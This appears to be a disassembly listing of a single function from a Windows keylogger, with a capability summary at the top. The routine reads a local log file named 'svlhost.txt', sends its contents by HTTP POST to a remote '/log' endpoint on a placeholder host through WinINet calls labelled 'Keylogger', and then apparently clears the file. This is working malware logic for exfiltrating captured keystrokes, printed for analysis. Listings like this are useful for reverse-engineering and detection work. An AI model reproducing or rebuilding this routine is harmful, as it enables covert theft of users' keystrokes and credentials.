Function at 0x1400014a3
Capabilities:
Connect to http server
Create http request
Read and send data from client to server
Read data from internet
Read file on windows
Receive data
Send data
Send http request

Disassembly:
push rbp
sub rsp, 0x880
lea rbp, [rsp + 0x80]
lea rax, [0x14000400e]
mov rdx, rax
lea rax, str.svlhost.txt
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x7f8], rax
cmp qword [rbp + 0x7f8], 0
je 0x1400017c9
mov rax, qword [rbp + 0x7f8]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp + 0x7f8]
mov rcx, rax
call sym.ftell
mov dword [rbp + 0x7f4], eax
mov rax, qword [rbp + 0x7f8]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.fseek
mov eax, dword [rbp + 0x7f4]
add eax, 1
cdqe
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x7e8], rax
mov eax, dword [rbp + 0x7f4]
movsxd rdx, eax
mov rcx, qword [rbp + 0x7f8]
mov rax, qword [rbp + 0x7e8]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fread
mov eax, dword [rbp + 0x7f4]
cdqe
mov rdx, qword [rbp + 0x7e8]
add rax, rdx
mov byte [rax], 0
mov rax, qword [rbp + 0x7f8]
mov rcx, rax
call sym.fclose
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.Keylogger
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x7e0], rax
cmp qword [rbp + 0x7e0], 0
je 0x14000177f
mov rax, qword [rbp + 0x7e0]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x50
lea rdx, str.your_api_endpoint.com
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetConnectA]
call rax
mov qword [rbp + 0x7d8], rax
cmp qword [rbp + 0x7d8], 0
je 0x14000176c
mov rax, qword [rbp + 0x7d8]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x80000000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str._log
lea rdx, str.POST
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpOpenRequestA]
call rax
mov qword [rbp + 0x7d0], rax
cmp qword [rbp + 0x7d0], 0
je 0x140001759
mov rax, qword [rbp + 0x7d0]
mov r9d, 0x20000000
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_application_x_www_form_urlencoded
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
call rax
mov rdx, qword [rbp + 0x7e8]
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, str.log_data_s
mov rcx, rax
call sym.sprintf
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x7d0]
mov dword [rsp + 0x20], ecx
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpSendRequestA]
call rax
test eax, eax
je 0x140001746
nop
lea rdx, [rbp + 0x7cc]
lea rax, [rbp + 0x3c0]
mov rcx, qword [rbp + 0x7d0]
mov r9, rdx
mov r8d, 0x400
mov rdx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
test eax, eax
je 0x140001746
mov eax, dword [rbp + 0x7cc]
test eax, eax
jne 0x14000170e
mov rax, qword [rbp + 0x7d0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x7d8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x7e0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
lea rax, [0x14000407c]
mov rdx, rax
lea rax, str.svlhost.txt
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x7f8], rax
cmp qword [rbp + 0x7f8], 0
je 0x1400017b8
mov rax, qword [rbp + 0x7f8]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0x7e8]
mov rcx, rax
call sym.free
jmp 0x1400017ca
nop
add rsp, 0x880
pop rbp
ret